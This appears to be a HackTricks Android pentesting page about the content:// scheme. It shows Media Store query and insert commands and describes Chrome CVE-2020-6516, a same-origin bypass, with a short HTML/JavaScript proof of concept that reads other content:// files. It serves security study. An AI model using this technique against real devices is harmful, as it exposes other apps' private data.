hacktricks/mobile-apps-pentesting/android-app-pentesting/content-protocol.md

102 lines
6.6 KiB
Markdown
Raw Normal View History

2021-05-04 11:44:49 +00:00
# content:// protocol
To experiment with content providers, one can use the `content` command on Android devices. Root access is not necessarily required. For example, to see the list of files managed by the Media Store, one can execute the following command:
```bash
$ content query --uri content://media/external/file
```
To make the output more human friendly, one can limit the displayed columns to the identifier and path of each indexed file.
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
Media providers exist in their own private namespace. As illustrated in the example above, to access a content provider the corresponding `content://` URI should be specified. Generally, information on the paths, via which a provider can be accessed, can be recovered by looking at application manifests \(in case the content provider is exported by an application\) or the source code of the Android framework.
Interestingly, on Android devices Chrome supports accessing content providers via the `content://` scheme. This feature allows the browser to access resources \(e.g. photos, documents etc.\) exported by third party applications. To verify this, one can insert a custom entry in the Media Store and then access it using the browser:
```bash
$ cd /sdcard
$ echo "Hello, world!" > test.txt
$ content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
```
To discover the identifier of the newly inserted file:
```bash
$ content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
Row: 283 _id=747, _data=/storage/emulated/0/test.txt
```
And to actually view the file in Chrome, one can use a URL like the one shown in the following picture. Notice the file identifier 747 \(discovered above\) which is used as a suffix in the URL.
![Chrome "Hello, world!"](https://census-labs.com/media/whatsapp-screenshot-hello-world.png)
For example, you could list all the files related to WhatsApp with:
```bash
$ content query --uri content://media/external/file --projection _id,_data | grep -i whatsapp
...
Row: 82 _id=58, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache
Row: 83 _id=705, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/157.240.9.53.443
Row: 84 _id=239, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/crashlogs.whatsapp.net.443
Row: 85 _id=240, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/pps.whatsapp.net.443
Row: 86 _id=90, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/static.whatsapp.net.443
Row: 87 _id=706, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/v.whatsapp.net.443
Row: 88 _id=89, _data=/storage/emulated/0/Android/data/com.whatsapp/cache/SSLSessionCache/www.whatsapp.com.443
...
```
### The Chrome CVE-2020-6516 Same-Origin-Policy bypass <a id="cve-2020-6516"></a>
The _Same Origin Policy_ \(SOP\) \[[12](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy)\] in browsers dictates that Javascript content of URL A will only be able to access content at URL B if the following URL attributes remain the same for A and B:
* The protocol e.g. `https` vs. `http`
* The domain e.g. `www.example1.com` vs. `www.example2.com`
* The port e.g. `www.example1.com:8080` vs. `www.example1.com:8443`
Of course, there are exceptions to the above rules, but in general, a resource from `https://www.example1.com` \(e.g. a piece of Javascript code\) cannot access the DOM of a resource on `https://www.example2.com`, as this would introduce serious information leaks. **Unless a Cross-Origin-Resource-Sharing \(CORS\) policy explicitly allows so, it shouldn't be possible for a web resource to bypass the SOP rules.**
It's essential to note that Chrome considers `content://` to be a _local scheme_, just like `file://`. In this case SOP rules are even more strict, as each local scheme URL is considered a separate origin. For example, Javascript code in **file:///tmp/test.html** should not be able to access the contents of **file:///tmp/test2.html**, or any other file on the filesystem for that matter. **Consequently, according to SOP rules, a resource loaded via `content://` should not be able access any other `content://` resource.** Well, vulnerability CVE-2020-6516 of Chrome created an "exception" to this rule.
CVE-2020-6516 \[[03](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516)\] is a SOP bypass on resources loaded via a `content://` URL. **For example, Javascript code, running from within the context of an HTML document loaded from `content://com.example.provider/test.html`, can load and access any other resource loaded via a `content://` URL.** This is a serious vulnerability, especially on devices running Android 9 or previous versions of Android. On these devices scoped storage \[[13](https://developer.android.com/about/versions/10/privacy/changes#scoped-storage)\] is not implemented and, consequently, application-specific data under **/sdcard**, and more interestingly under **/sdcard/Android**, can be accessed via the system's Media Store content provider.
A proof-of-concept is pretty straightforward. An HTML document that uses `XMLHttpRequest` to access arbitrary `content://` URLs is uploaded under **/sdcard**. It is then added in the Media Store and rendered in Chrome, in a fashion similar to the example shown earlier. For demonstration purposes, one can attempt to load `content://media/external/file/747` which is, in fact, the Media Store URL of the "Hello, world!" example. Surprisingly, the Javascript code, running within the origin of the HTML document, will fetch and display the contents of **test.txt**.
```markup
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
```
**Information taken from this writeup:** [**https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/**](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)\*\*\*\*